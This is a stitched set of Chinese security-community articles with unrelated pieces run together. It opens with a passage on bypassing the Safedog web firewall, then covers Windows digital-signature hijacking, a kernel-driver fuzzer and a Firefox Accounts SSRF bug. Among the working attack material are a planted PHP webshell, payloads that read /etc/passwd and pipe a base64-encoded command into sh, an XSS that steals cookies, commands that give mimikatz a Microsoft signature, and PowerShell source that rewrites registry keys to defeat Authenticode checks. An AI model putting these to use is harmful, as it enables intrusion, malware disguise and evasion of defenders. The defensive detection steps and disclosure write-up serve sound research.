yum -y install php-mysql php-gd php-imap php-ldap php-odbc php-pear php-xml php-xmlrpc php-mbstring php-mcrypt php-mssql php-snmp php-soap php-tidy curl curl-devel
httpd -k start
#lamp环境
随后就是下载安全狗啦，docker使用的是64位，注意位数
下载解压 执行`./install.py`
这里出现错误，你只要按错误日志安装对应的包就好了。
执行`yum -y install file mlocate`随后继续`./install.py`
这样安全狗就起来了,在web目录下写一个测试文件
cat >/var/www/html/index.php<<EOF
<?php
$_GET[0]($_GET[1]);
EOF
访问[http://127.0.0.1/?0=readfile&1=file:///etc/passwd](http://127.0.0.1/?0=readfile&1=file:///etc/passwd)
被咬了就对了
### 文件读取
[http://127.0.0.1/?0=readfile&1=file:///etc/passwd](http://127.0.0.1/?0=readfile&1=file:///etc/passwd)
被咬
[http://127.0.0.1/?0=readfile&1=/./etc/./passwd](http://127.0.0.1/?0=readfile&1=/./etc/./passwd)
绝对路径+相对路径绕过
~~狗改不了....~~
### 命令执行
这个....安全狗不拦截也没办法
但是有时候你涉及到敏感信息还是拦截的 比如：
当然绝对+相对一样可以绕，这里换一种方法
linux默认有base64命令，可以通过管道符对命令做一层编码
base64 编码
base64 -d 解码
可以用这个手段来绕过安全狗对敏感信息的检测
[http://127.0.0.1/?0=system&1=echo%20Y2F0IC9ldGMvcGFzc3dkCg==|base64%20-d%20|sh](http://127.0.0.1/?0=system&1=echo%20Y2F0IC9ldGMvcGFzc3dkCg==|base64%20-d%20|sh)
* * *
### SQL注入
之前发的文章说的是绕注入，但是有表哥说新版本绕不了了
link-><https://xz.aliyun.com/t/7572>
在linux下的apache中测试还是一样的绕过，不知道为什么我的win服务器安全狗没有新版本的更新 可以考虑留个联系方式探讨一下
### xss
就不做太多阐述了 估计也是黑名单 拉点标签和参数慢慢fuzz就好了
`<svg/onload=alert(document.cookie)>`
[http://127.0.0.1/xss/1.php?name=%3Csvg/onload=alert(document.cookie)%3E&submit=%E6%8F%90%E4%BA%A4](http://127.0.0.1/xss/1.php?name=%3Csvg/onload=alert\(document.cookie\)%3E&submit=%E6%8F%90%E4%BA%A4)
### 文件上传
环境是一个无限制的上传
设置文件名为\nphp\n.\nphp也就直接过了 | 社区文章 |
# 【技术分享】劫持数字签名与Powershell自动化过程
|
##### 译文声明
本文是翻译文章，文章来源：pentestlab.blog
原文地址：<https://pentestlab.blog/2017/11/06/hijacking-digital-signatures/>
译文仅供参考，具体内容表达以及含义原文为准。
****
译者：[牧野之鹰](http://bobao.360.cn/member/contribute?uid=877906634)
预估稿费：260RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**前言**
开发人员通常会对其代码进行签名，以便向用户保证他们的软件是可信的，而且没有被恶意修改。 这都通过使用数字签名来完成的。
因此，签名代码是一种验证文件的真实性和完整性的方法。
安全人员与蓝队通常会检查二进制数字签名，以便执行初始检查，并确定是否应将其视为可疑文件。 诸如AppLocker和Device
Guard之类的Microsoft防护技术支持一些特殊规则的使用，比如仅允许来自受信任的发布者的可执行文件和PowerShell脚本，并且这些文件想要在系统上运行必须有数字签名。
该验证通过使用证书来实现。
你可以通过PowerShell调用Get-AuthenticodeSignature或Sysinternals工具包中的的[SigCheck](https://docs.microsoft.com/en-us/sysinternals/downloads/sigcheck)程序来进行数字签名的验证。
[](https://twitter.com/mattifestation)[马特·格雷伯](https://twitter.com/mattifestation)在DerbyCon
2017的[](https://www.youtube.com/watch?v=wxmxxgL6Nz8)[主题演讲](https://www.youtube.com/watch?v=wxmxxgL6Nz8)中描述了如何通过执行签名验证攻击来执行系统上被设备保护策略锁定的的未签名代码。
**
**
**数字证书**
在现代Windows操作系统中，代码签名技术用于帮助用户识别来自不可信源的可信二进制文件。二进制文件通过使用数字证书进行签名，数字证书包含有关发布者，嵌入的私钥和公钥的信息。
authenticode签名可用于将签名的PowerShell脚本和二进制文件与未签名的文件分开。
但是通过复制已经被签名过的PowerShell脚本的签名块，然后将其应用到尚未签名的PowerShell脚本中，我们就可以轻松劫持PowerShell脚本的证书。
下面的这个脚本是Windows系统的一部分，并已具有Microsoft签名。
注册表中的CryptSIPDllGetSignedDataMsg表项包含处理默认PowerShell
SIP（pwrshsip.dll）和本机PowerShell脚本数字签名的注册表项：
HKLMSOFTWAREMicrosoftCryptographyOIDEncodingType 0CryptSIPDllGetSignedDataMsg{603BCC1F-4B59-4E08-B724-D2C6297EF351}
我们需要用自定义的SIP和GetLegitMSSignature函数来替换该密钥原本的DLL键和FuncName键的值。马特·格雷伯创建了一个自定义的[SIP](https://github.com/mattifestation/PoCSubjectInterfacePackage)（Subject
Interface Package），我们可以将其编译，然后用它让未签名的PowerShell脚本获得合法的Microsoft签名。
这个DLL的编译版本可以在[GitHub](https://github.com/netbiosX/Digital-Signature-Hijack)上找到。替换后如下：
DLL - C:UsersUserMySIP.dll
FuncName - GetLegitMSSignature
替换之后，合法的数字签名就可以应用于脚本了，我们可以在PowerShell控制台上再次调用Get-AuthenticodeSignature模块来验证一下。
可以看到，虽然签名有了，数字签名的验证却会失败，因为authenticode哈希不匹配。
除此之外，我们还可以使用各种工具来劫持可信任二进制文件的证书，然后将其用于非法的二进制文件。
[](https://github.com/secretsquirrel/SigThief)
SigThief:
python sigthief.py -i consent.exe -t mimikatz.exe -o signed-mimikatz.exe
[](https://github.com/xorrior/Random-CSharpTools/tree/master/SigPirate)
SigPirate:
SigPirate.exe -s consent.exe -d mimikatz.exe -o katz.exe -a
上图中的Consent.exe文件本身是Windows操作系统的一部分，因此它有Microsoft的数字签名。经过一番操作，下面这个二进制文件已经有了微软的数字签名。
但是，和前面一样，数字签名验证将无法通过。
**
**
**绕过签名验证**
Authenticode是一种Microsoft代码签名技术，蓝队可以使用该技术通过数字证书来识别发布者的身份，并验证二进制文件因为经过了数字签名哈希验证而未被篡改。
所以即使可信证书被盗用于恶意二进制文件，但不能通过数字签名验证，因为authenticode哈希不匹配。
而无效的authenticode哈希表明，该二进制文件不合法。 实际操作中，针对这种盗用可信证书的二进制文件，如果从PowerShell控制台执行Get-AuthenticodeSignature对其进行验证，将产生HashMismatch（哈希不匹配）错误。
这是因为可执行代码由数字证书的私钥签名。 公钥被嵌入在证书本身中。
由于私钥是未知的，攻击者不能为非法二进制文件生成正确的哈希值，只能盗用其他文件的，因此验证过程总是会失败，因为哈希值不匹配。
所以，我们需要通过修改注册表来削弱数字签名验证机制。马特·格雷伯发现了散列验证过程在注册表中的位置以及执行的方式。
而CryptSIPDllVerifyIndirectData组件就是用来处理PowerShell脚本和PE文件的数字签名验证的。
数字签名的哈希验证就是通过以下注册表键值执行的：
{603BCC1F-4B59-4E08-B724-D2C6297EF351} // Hash Validation for PowerShell Scripts
{C689AAB8-8E78-11D0-8C47-00C04FC295EE} // Hash Validation for Portable Executables
这些键值存在于以下注册表位置中：
HKLMSOFTWAREMicrosoftCryptographyOIDEncodingType 0CryptSIPDllVerifyIndirectData{603BCC1F-4B59-4E08-B724-D2C6297EF351}
HKLMSOFTWAREMicrosoftCryptographyOIDEncodingType 0CryptSIPDllVerifyIndirectData{C689AAB8-8E78-11D0-8C47-00C04FC295EE}
那怎么做才能达到削弱签名验证机制的目的呢？这里我们需要使用另一个合法的DLL文件来替换掉原来的键值表示的DLL，因为它应该已经使用相同的私钥签名。
另外，我们还需要将注册表项原来的函数用一个名叫DbgUiContinue的函数替换掉，选这个函数是因为它也接受两个参数，如原来的函数一样。如果组件CryptSIPDllVerifyIndirectData成功，则返回TRUE。
修改后的键值如下：
DLL - C:WindowsSystem32ntdll.dll
FuncName - DbgUiContinue
重新启动一个新的PowerShell进程就可以完成哈希验证的绕过了。 恶意二进制文件将显示签名并具有有效的Microsoft签名。
马特·格雷伯最初发现了这种绕过方式，在他的文章《[Subverting Trust in
Windows](https://specterops.io/assets/resources/SpecterOps_Subverting_Trust_in_Windows.pdf)》中有详细的解释。
他还发布了一个PowerShell脚本，可以用来自动化签名验证攻击。
该脚本的目标就是修改执行PowerShell脚本和PE文件的数字签名的哈希验证的两个注册表项。
以下注册表值将被自动修改为所需的值，以绕过散列验证。
运行PowerShell脚本将开始绕过。
powershell.exe -noexit -file C:Python34SignatureVerificationAttack.ps1
执行Get-AuthenticodeSignature PowerShell模块将产生有效的数字签名散列。
**
**
**元数据**
一些杀毒软件公司依靠数字签名和元数据来识别恶意文件。 因此，针对使用来自可信实体的有效证书和元数据的非合法二进制文件的病毒检测率将会降低。
[](https://github.com/minisllc/metatwin)[MetaTwin](https://github.com/minisllc/metatwin)是基于PowerShell的脚本，可以将文件中的元数据自动复制到另一个二进制文件中。
PS C:metatwin> Import-Module .metatwin.ps1
PS C:metatwin> Invoke-MetaTwin -Source C:WindowsSystem32netcfgx.dll -Target .mimikatz.exe -Sign
最重要的是，它可以从Microsoft文件中窃取数字签名，它使用SigThief来执行此任务。
最终的可执行文件将包含元数据细节和Microsoft的数字签名。
我们可以通过检查文件属性中的详细信息选项卡来验证。
如果已经通过注册表对系统进行了修改，绕过了数字签名的哈希验证，那么恶意二进制文件将看起来像是被Microsoft这样的可信实体签名的。
**
**
**结论**
劫持合法的数字签名并绕过Windows的哈希验证机制可以被红队用于将恶意二进制文件和PowerShell脚本与本机操作系统文件混合，以逃避检测并绕过设备防护。总结：
1.管理员访问权限是执行此攻击所必需的
2.数字签名的可执行文件不会出现在Autoruns默认视图中
3.数字签名代码的病毒检测率较低
蓝队可以执行以下两个步骤，以快速确定系统上是否发生数字签名劫持攻击。
1.使用Get-AuthenticodeSignature验证数字签名哈希的有效性
2.查看以下注册表项和值：
HKLMSOFTWAREMicrosoftCryptographyOIDEncodingType 0CryptSIPDllGetSignedDataMsg{603BCC1F-4B59-4E08-B724-D2C6297EF351}
DLL - C:WindowsSystem32WindowsPowerShellv1.0pwrshsip.dll
FuncName - PsGetSignature
HKLMSOFTWAREMicrosoftCryptographyOIDEncodingType 0CryptSIPDllGetSignedDataMsg{C689AAB8-8E78-11D0-8C47-00C04FC295EE}
DLL - C:WindowsSystem32ntdll.dll
FuncName - CryptSIPGetSignedDataMsg
HKLMSOFTWAREMicrosoftCryptographyOIDEncodingType 0CryptSIPDllVerifyIndirectData{603BCC1F-4B59-4E08-B724-D2C6297EF351}
DLL - C:WindowsSystem32WindowsPowerShellv1.0pwrshsip.dll
FuncName - PsVerifyHash
HKLMSOFTWAREMicrosoftCryptographyOIDEncodingType 0CryptSIPDllVerifyIndirectData{C689AAB8-8E78-11D0-8C47-00C04FC295EE}
DLL - C:WindowsSystem32WINTRUST.DLL
FuncName - CryptSIPVerifyIndirectData
**Powershell自动化过程**
**一般信息**
DigitalSignatureHijack基于PowerShell，可以从具有管理员权限的PowerShell控制台执行。
设计想法是通过只执行四个命令来快速地对PowerShell脚本和PE文件进行数字签名。
**命令**
该脚本接受以下命令：
**SignExe – 给PE文件签名**
**SignPS – 给PowerShell脚本签名**
**ValidateSignaturePE – PE文件的签名验证**
**ValidateSignaturePS – PowerShell脚本的签名验证**
**依赖**
DigitalSignature-Hijack依赖马特·格雷伯开发的自定义SIP（Subject Interface Package）dll文件。
因此，需要将其存储在目标系统的某个位置，并且需要使用该DLL文件的新位置来更新脚本，否则注册表劫持将不起作用。
[](https://github.com/netbiosX/Digital-Signature-Hijack)[编译版本的MySIP.dll](https://github.com/netbiosX/Digital-Signature-Hijack)
[](https://github.com/mattifestation/PoCSubjectInterfacePackage)[MySIP
DLL的源代码](https://github.com/mattifestation/PoCSubjectInterfacePackage)
**演示**
以下是可用于对主机上存在的所有PowerShell脚本和PE文件进行数字签名的命令。
**要签署的二进制文件**
Mimikatz为人们所熟知。它不是Windows的一部分，也不是由微软数字签名的。
SignExe命令将会为Mimikatz提供一个Microsoft证书。
签名验证：
劫持合法证书将产生哈希不匹配错误，导致数字签名将无法通过验证。
执行ValidateSignaturePE命令将准确的验证存储在系统上的所有PE文件的数字签名。
**签名PowerShell脚本**
DigitalSignature-Hijack PowerShell脚本没有签名。 因此，在开启了设备保护UMCI（User Mode Code
Integrity：用户模式代码完整性）的情况下，需要对其进行签名。
执行SignPS命令将为Microsoft PowerShell脚本提供一个Microsoft证书。
签名验证：
与PE文件一样，Microsoft也正在对PowerShell脚本的数字签名进行验证。
执行ValidateSignaturePS命令将绕过验证，因此数字签名将显示为有效。
**下载**
DigitalSignatureHijack脚本可以在以下地址下载：
[](https://gist.github.com/netbiosX/fe5b13b4cc59f9a944fe40944920d07c)[Digital
Signature Hijack Public
Gist](https://gist.github.com/netbiosX/fe5b13b4cc59f9a944fe40944920d07c)
[](https://github.com/netbiosX/Digital-Signature-Hijack)<https://github.com/netbiosX/Digital-Signature-Hijack>
**源码**
<#
DigitalSignatureHijack v1.0
License: GPLv3
Author: @netbiosX
#>
# Validate Digital Signature for PowerShell Scripts
function ValidateSignaturePS
{
$ValidateHashFunc = 'HKLM:SOFTWAREMicrosoftCryptography' +'OIDEncodingType 0CryptSIPDllVerifyIndirectData'
# PowerShell SIP Guid
$PSIPGuid = '{603BCC1F-4B59-4E08-B724-D2C6297EF351}'
$PSSignatureValidation = Get-Item -Path "$ValidateHashFunc$PSIPGuid"
$NewDll = 'C:UsersUserDesktopSignature SigningBinariesMySIP.dll'
$NewFuncName = 'AutoApproveHash'
$PSSignatureValidation | Set-ItemProperty -Name Dll -Value $NewDll
$PSSignatureValidation | Set-ItemProperty -Name FuncName -Value $NewFuncName
}
# Validate Digital Signature for Portable Executables
function ValidateSignaturePE
{
$ValidateHashFunc = 'HKLM:SOFTWAREMicrosoftCryptography' +'OIDEncodingType 0CryptSIPDllVerifyIndirectData'
# PE SIP Guid
$PESIPGuid = '{C689AAB8-8E78-11D0-8C47-00C04FC295EE}'
$PESignatureValidation = Get-Item -Path "$ValidateHashFunc$PESIPGuid"
$NewDll = 'C:WindowsSystem32ntdll.dll'
$NewFuncName = 'DbgUiContinue'
$PESignatureValidation | Set-ItemProperty -Name Dll -Value $NewDll
$PESignatureValidation | Set-ItemProperty -Name FuncName -Value $NewFuncName
}
# Sign PowerShell Scripts with a Microsoft Certificate
function SignPS
{
$GetCertFunc = 'HKLM:SOFTWAREMicrosoftCryptography' +'OIDEncodingType 0CryptSIPDllGetSignedDataMsg'
# PowerShell SIP Guid
$PSIPGuid = '{603BCC1F-4B59-4E08-B724-D2C6297EF351}'
$PEGetMSCert = Get-Item -Path "$GetCertFunc$PSIPGuid"
$NewDll = 'C:UsersUserDesktopSignature SigningBinariesMySIP.dll'
$NewFuncName = 'GetLegitMSSignature'
$PEGetMSCert | Set-ItemProperty -Name Dll -Value $NewDll
$PEGetMSCert | Set-ItemProperty -Name FuncName -Value $NewFuncName
}
# Sign Portable Executables with a Microsoft Certificate
function SignExe
{
$GetCertFunc = 'HKLM:SOFTWAREMicrosoftCryptography' +'OIDEncodingType 0CryptSIPDllGetSignedDataMsg'
# PE SIP Guid
$PESIPGuid = '{C689AAB8-8E78-11D0-8C47-00C04FC295EE}'
$PEGetMSCert = Get-Item -Path "$GetCertFunc$PESIPGuid"
$NewDll = 'C:UsersUserDesktopSignature SigningBinariesMySIP.dll'
$NewFuncName = 'GetLegitMSSignature'
$PEGetMSCert | Set-ItemProperty -Name Dll -Value $NewDll
$PEGetMSCert | Set-ItemProperty -Name FuncName -Value $NewFuncName
**参考**
1.<https://github.com/secretsquirrel/SigThief>
2.[](https://github.com/xorrior/Random-CSharpTools/tree/master/SigPirate)<https://github.com/xorrior/Random-CSharpTools/tree/master/SigPirate>
3.[](https://specterops.io/assets/resources/SpecterOps_Subverting_Trust_in_Windows.pdf)<https://specterops.io/assets/resources/SpecterOps_Subverting_Trust_in_Windows.pdf>
4.[](https://github.com/minisllc/metatwin)<https://github.com/minisllc/metatwin>
5.[](https://github.com/mattifestation/PoCSubjectInterfacePackage)<https://github.com/mattifestation/PoCSubjectInterfacePackage>
6.[](https://github.com/netbiosX/Digital-Signature-Hijack)<https://github.com/netbiosX/Digital-Signature-Hijack>
7.[](https://github.com/mstefanowich/FileSignatureHijack)<https://github.com/mstefanowich/FileSignatureHijack>
8.[](http://www.exploit-monday.com/2017/08/application-of-authenticode-signatures.html)<http://www.exploit-monday.com/2017/08/application-of-authenticode-signatures.html>
9.[](https://gist.github.com/mattifestation/439720e2379f4bc93f0ed3ce88814b5b)<https://gist.github.com/mattifestation/439720e2379f4bc93f0ed3ce88814b5b>
10.[](https://docs.microsoft.com/en-us/sysinternals/downloads/sigcheck)[](https://docs.microsoft.com/en-us/sysinternals/downloads/sigcheck)<https://docs.microsoft.com/en-us/sysinternals/downloads/sigcheck> | 社区文章 |
作者：k0shl
作者博客：<https://whereisk0shl.top>
kDriver Fuzzer整体细节：<https://whereisk0shl.top/post/2018-01-30>
ioctlbf项目地址：<https://github.com/koutto/ioctlbf>
kDriver Fuzzer项目地址：<https://github.com/k0keoyo/kDriver-Fuzzer>
联系我：[email protected]
#### kDriver Fuzzer使用说明
首先感谢ioctlbf框架作者，我在这半年的时间阅读调试了很多优秀的fuzzer，受益良多，自己也有了很多想法，正在逐步实现。同时当我调试ioctlbf的时候发现了一些问题，于是基于ioctlbf框架，加了一些自己的想法在里面，有了这个kDriver
Fuzzer，利用这个kDriver
Fuzzer，我也在2017年收获了不同厂商，不同驱动近100个CVE，其实关于驱动的Fuzz很早就有人做了，我将我这个kDriver
Fuzzer开源出来和大家分享共同学习（必要注释已经写在代码里了），同时春节将近，在这里给大家拜年，祝大家新年红包多多，0day多多！（由于并非是自己从头到位写的项目，其中有部分编码习惯造成的差异（已尽量向框架作者靠拢）请大家见谅，同时代码写的还不够优雅带来的算法复杂度以及代码冗余也请大家海涵，以及一些待解决的问题未来都会逐步优化：））
###### 一些环境说明：
编译环境：Windows 10 x64 build 1607
项目IDE：VS2013
测试环境：Windows 7 x86、Windows 10 x86 build 1607
###### 参数介绍：
"-l" ：开启日志记录模式（不会影响主日志记录模块）
"-s" ：驱动枚举模块
"-d" ：打开设备驱动的名称
"-i" ：待Fuzz的ioctl code，默认从0xnnnn0000-0xnnnnffff
"-n" ：在探测阶段采用null pointer模式，该模式下极易fuzz 到空指针引用漏洞，不加则常规探测模式
"-r" ：指定明确的ioctl code范围
"-u" ：只fuzz -i参数给定的ioctl code
"-f" ：在探测阶段采用0x00填充缓冲区
"-q" ：在Fuzz阶段不显示填充input buffer的数据内容
"-e" ：在探测和fuzz阶段打印错误信息（如getlasterror()）
"-h" ：帮助信息
###### 常用Fuzz命令实例：
kDriver Fuzz.exe -s
进行驱动枚举，将CreateFile成功的驱动设备名称，以及部分受限的驱动设备名称打印并写入Enum Driver.txt文件中
kDriver Fuzz.exe -d X -i 0xaabb0000 -f -l
对X驱动的ioctl code 0xaabb0000-0xaabbffff范围进行探测及对可用的ioctl
code进行fuzz，探测时除了正常探测外增加0x00填充缓冲区探测，开启数据日志记录（如增加-u参数，则只对ioctl code
0xaabb0000探测，若是有效ioctl code则进入fuzz阶段）
kDriver Fuzz.exe -d X -r 0xaabb1122-0xaabb3344 -n -l
对X驱动的ioctl code 0xaabb1122-0xaabb3344范围内进行探测，探测时采用null pointer模式，并数据日志记录
###### Thanks:
<https://github.com/bee13oy/AV_Kernel_Vulns/tree/master/Zer0Con2017>
<https://github.com/koutto/ioctlbf>
* * * | 社区文章 |
翻译自:<https://www.rfk.id.au/blog/entry/security-bugs-ssrf-via-request-splitting/>
# 前言
我在Mozilla工作中最有趣（有时甚至是可怕的）部分之一就是处理安全漏洞。我们并不总是能提供完美的代码——没有人能做到这点——但我很荣幸能与一个伟大的工程师团队和安全人员合作，他们知道如何处理出现的安全问题。我也很荣幸能够在公开场合工作，并通过此来分享我的一些经验。
学习如何编写更安全的代码的最佳途径之一就是在实践中观察失败代码的样例。考虑到这一点，我打算写一写我在Mozilla期间参与处理安全漏洞的经历。我们从最近的一个bug说起:[Bug
1447452](https://bugzilla.mozilla.org/show_bug.cgi?id=1447452)，其中Firefox
Accounts API服务器对unicode字符的一些错误处理可能允许攻击者向后端数据存储发起任意请求。
# Bug：HTTP请求路径中的unicode字符损坏
一切都开始于我调试的一个非关联的unicode处理issue，并最终将我引向一个错误报告：[bug report against the Node.js
`http` module](https://github.com/nodejs/node/issues/13296),报告中提到：
换句话说，报告者使用Node.js向特定路径发出HTTP请求，但是发出的请求实际上被定向到了不一样的路径！深入研究一下，发现这个问题是由Node.js将HTTP请求写入路径时对unicode字符的有损编码引起的。
虽然用户发出的`http`请求通常将请求路径指定为字符串，但Node.js最终必须将请求作为原始字节输出。JavaScript支持unicode字符串，因此将它们转换为字节意味着选择并应用适当的unicode编码。对于不包含主体的请求，Node.js默认使用“latin1”，这是一种单字节编码，不能表示高编号的unicode字符，例如。相反，这些字符被截断为其JavaScript表示的最低字节：
处理用户输入时的坏数据通常是底层安全问题的危险信号，我知道我们的代码库发出了可能包含用户输入的路径的HTTP请求。所以我立即在[Bugzilla](https://bugzilla.mozilla.org/)中提交了一个保密的安全漏洞，向[node安全团队](https://nodejs.org/en/security/)寻求更多信息，然后根据用户提供的unicode字符串寻找我们可能构建URL的地方。
# 漏洞：通过拆分请求实现的SSRF攻击
我所担心的这种漏洞被称为[request
splitting](http://projects.webappsec.org/w/page/13246929/HTTP%20Request%20Splitting)，基本文本的协议（比如`HTTP`）通常是很脆弱的。假设一个服务器，接受用户输入，并将其包含在通过HTTP公开的内部服务请求中，像这样：
GET /private-api?q=<user-input-here> HTTP/1.1
Authorization: server-secret-key
如果服务器未正确验证用户输入，则攻击者可能会直接注入`协议控制字符`到请求里。假设在这种情况下服务器接受了以下用户输入：
"x HTTP/1.1\r\n\r\nDELETE /private-api HTTP/1.1\r\n"
>
在发出请求时，服务器可能会直接将其写入路径，如下：
GET /private-api?q=x HTTP/1.1
DELETE /private-api
Authorization: server-secret-key
接收服务将此解释为两个单独的HTTP请求，一个`GET`后跟一个`DELETE`，它无法知道调用者的意图。
实际上，这种精心构造的用户输入会欺骗服务器，使其发出额外的请求，这种情况被称为[服务器端请求伪造](https://www.owasp.org/index.php/Server_Side_Request_Forgery)，或者“SSRF”。服务器可能拥有攻击者不具有的权限，例如访问内网或者秘密api密钥，这就进一步加剧了问题的严重性。
好的HTTP库通通常包含阻止这一行为的措施，Node.js也不例外：如果你尝试发出一个路径中含有控制字符的HTTP请求，它们会被URL编码：
> http.get('http://example.com/\r\n/test').output
[ 'GET /%0D%0A/test HTTP/1.1\r\nHost: example.com\r\nConnection: close\r\n\r\n' ]
不幸的是，上述的处理unicode字符错误意味着可以规避这些措施。考虑如下的URL，其中包含一些带变音符号的unicode字符：
> 'http://example.com/\u{010D}\u{010A}/test'
http://example.com/čĊ/test
当Node.js版本8或更低版本对此URL发出`GET`请求时，它不会进行转义，因为它们不是HTTP控制字符：
> http.get('http://example.com/\u010D\u010A/test').output
[ 'GET /čĊ/test HTTP/1.1\r\nHost: example.com\r\nConnection: close\r\n\r\n' ]
但是当结果字符串被编码为latin1写入路径时，这些字符将分别被截断为“\r”和“\n”：
> Buffer.from('http://example.com/\u{010D}\u{010A}/test', 'latin1').toString()
'http://example.com/\r\n/test'
因此，通过在请求路径中包含精心选择的unicode字符，攻击者可以欺骗Node.js将HTTP协议控制字符写入线路。
这个bug已经在Node.js10中被修复，如果请求路径包含非ascii字符，则会抛出错误。但是对于Node.js8或更低版本，如果有下列情况，任何发出传出HTTP请求的服务器都可能受到通过请求拆实现的SSRF的攻击：
* 接受来自用户输入的unicode数据
* 并将其包含爱HTTP请求的路径中
* 且请求具有一个0长度的主体（比如一个`GET`或者`DELETE`）
# 影响：向FxA数据存储伪造请求
我们审计了FxA服务器堆栈，以查找在请求路径中使用0长度主体和用户提供的数据发出HTTP请求的位置，我们发现了三个可以触发上述错误的位置。
第一个在[WebPush](https://developer.mozilla.org/en-US/docs/Web/API/Push_API)，一个登陆服务器提供一个用于接受用户账户状态更改通知的https
URI，可以通过发送一个0长度的`PUT`请求访问服务器。幸运的是，这种情况下服务器发出的请求不具有任何特殊权限或API令牌。这里可以利用这个bug欺骗FxA服务器向webpush通知主机发出恶意请求，但该请求不会比攻击者直接提出的请求更具威胁性。
第一个在[BrowseID](https://en.wikipedia.org/wiki/Mozilla_Persona)的证书认证，其中FxA服务器从用户提供的JSON
blob中解析主机名，然后通过发出`GET`请求来获取该主机的签名密钥，如：
GET /.well-known/browserid?domain=<hostname>
在我们的开发环境中，可以利用此错误来欺骗服务器向任意主机名发出任意请求。幸运的是，在我们的生产环境中，这些请求都是通过[squid](http://www.squid-cache.org/)缓存代理发送的，该代理配置了严格的验证规则来阻止任何非预期的请求，防止在这种情况下利用该漏洞。
第三个是向后端数据存储发出的请求，真正发生问题的地方就在这。
介绍一点背景知识，Firefox账户生成服务器分为[面向Web的API服务器](https://github.com/mozilla/fxa-auth-server)和与MySQL数据库通信的内部[数据存储区服务器](https://github.com/mozilla/fxa-auth-db-mysql)，如下所示：
API服务器和数据存储服务器之间使用`HTTP`协议通信，并使用明文传输。我们发现有一个地方，来自用户输入的unicode数据可以进入其中一个请求的路径。
我们许多的数据存储都是通过邮件地址录入的，并且允许电子邮件包含unicode字符。为了避免两个服务器之间unicode的编码和解码问题，数据存储API中大多数邮件相关的操作都接受作为一个十六进制编码的utf-8字符串的邮箱，API服务器将通过向数据存储发出HTTP请求来获取电子邮件“[email protected]”的帐户记录，如下所示：
GET /email/74657374406578616d706c652e636f6d
通过简单的回顾，发现有一个操作接受作为原始字符串的邮件地址。删除“xyz”账户的邮件的请求如下：
DELETE /account/xyz/emails/[email protected]
这里会产生冲突，但不走心的检查会导致问题并不明显的表现出来——我们会仔细的验证所有的用户输入，所以邮件地址不会包含任何的`HTTP`控制字符，它们会被自动转义。但邮件地址
_可以_ 包含unicode字符。
在测试环境中，我可以创建一个账户并向其添加以下奇怪但有效的邮件地址：
x@̠ňƆƆɐį1̮1č̊č̊ɆͅƆ̠įaccountįf9f9eebb05ef4b819b0467cc5ddd3b4aįsessions̠ňƆƆɐį1̮1č̊č̊.cc
这些非ascii字符是精心挑选的，因此在小写并编码成`latin1`后，它们会产生各种`HTTP`控制字符：
> v = 'x@̠ňƆƆɐį1̮1č̊č̊ɆͅƆ̠įaccountįf9f9eebb05ef4b819b0467cc5ddd3b4aįsessions̠ňƆƆɐį1̮1č̊č̊.cc'
> Buffer.from(v.toLowerCase(), "latin1").toString()
'x@ HTTP/1.1\r\n\r\nGET /account/f9f9eebb05ef4b819b0467cc5ddd3b4a/sessions HTTP/1.1\r\n\r\n.cc'
通过添加并删除这个邮件地址，我可以使API服务器向数据存储区发起一个`HTTP`请求：
DELETE /account/f9f9eebb05ef4b819b0467cc5ddd3b4a/email/x@̠ňɔɔɐį1̮1č̊č̊ɇͅɔ̠įaccountįf9f9eebb05ef4b819b0467cc5ddd3b4aįsessions̠ňɔɔɐį1̮1č̊č̊.cc
其中，由于Node.js中的上述错误，以下内容将被写入：
> console.log(Buffer.from('DELETE /account/f9f9eebb05ef4b819b0467cc5ddd3b4a/email/x@̠ňɔɔɐį1̮1č̊č̊ɇͅɔ̠įaccountįf9f9eebb05ef4b819b0467cc5ddd3b4aįsessions̠ňɔɔɐį1̮1č̊č̊.cc', 'latin1').toString())
DELETE /account/f9f9eebb05ef4b819b0467cc5ddd3b4a/email/x@ HTTP/1.1
GET /account/f9f9eebb05ef4b819b0467cc5ddd3b4a/sessions HTTP/1.1
.cc
这就产生了一个SSRF攻击，导致API服务器多发送了一个非预期的`GET`请求。
这个特定的`GET`请求是无害的，但它足以让我相信这个bug是可以利用的，可能会被用来欺骗API服务器对数据存储API发出各种各样的欺诈性请求——比如创建一个用户无法控制的电子邮件地址，或重置其他用户帐户的密码，或者只是在Firefox帐户对电子邮件地址强加的255个unicode字符长度限制内可实现的任何操作。
幸运的是，没有任何证据表明这个bug在我们的生产环境中被利用。
同样，攻击者不能利用此漏洞进入用户的Firefox同步数据。Firefox Sync使用客户端强加密，以确保只有知道您的帐户密码的人才能访问您同步的数据。
# 快速修复：编码电子邮件地址
在第一次遇到底层Node.js问题时，我已经联系了[Node安全团队](https://nodejs.org/en/security/)以获取信息和指导。他们响应非常快速，并确认这是一个已知的行为，由于向后兼容的原因无法更改，但会在即将发布的Node.js10版本中修复。
我们已经注意到电子邮件删除端点行为的这种差异，我们出色的实习生[Deepti](https://github.com/deeptibaghel)已将其修复为十六进制编码电子邮件地址。不幸的是，该修复尚未投入生产，因此我们必须制定“chemspill”流程，以便尽快将其运送到生产中。
我们维护所有Firefox帐户代码存储库的私有github分支，因此，因此在实践中发布修复程序的过程包括：
* 将私人仓库与公共仓库中的最新版本分支同步。
* cherry-pick挑选私人发布分支，并请求审查。
* 在私有仓库中创建新的发布标记，并允许CircleCI构建docker镜像以进行部署。
* 将新版本部署到我们的暂存环境并运行一系列手动和自动测试以防止漏洞再现。
* 将修复程序推广到我们的生产环境。
总而言之，我们花了差不多24小时的时间就从了解底层Node.js
bug到生产中部署了一个修复程序。这包括花在分析，审计，代码审查，质量保证和部署上的时间，我认为这是一个非常可靠的周转时间！我对于Firefox
Accounts团队中的每个人都对这个问题做出快速而专业的反应感到非常自豪。
# 后续：添加额外的缓解措施
对于任何与安全相关的问题，重要的是不要只是推出修复补丁。而是要尝试找到出现问题的地方，以及将来是否可以预防或减轻类似问题。
在本文介绍的情况下，问题的本质是`HTTP`基于文本的性质使其易受注入式攻击（如请求拆分）的攻击。这个特定的Node.js
bug只是构建`HTTP`请求时出现问题的一个例子。Blackhat最近的演讲[“SSRF的新时代”](https://www.blackhat.com/docs/us-17/thursday/us-17-Tsai-A-New-Era-Of-SSRF-Exploiting-URL-Parser-In-Trending-Programming-Languages.pdf)以各种编程语言提供了更多的例子。
在我看来，最好的长期缓解措施将是不再使用HTTP进行内部服务请求，而是采用更加结构化的方式，如[gRPC](https://grpc.io/)。但是，这在短期内不能实现。
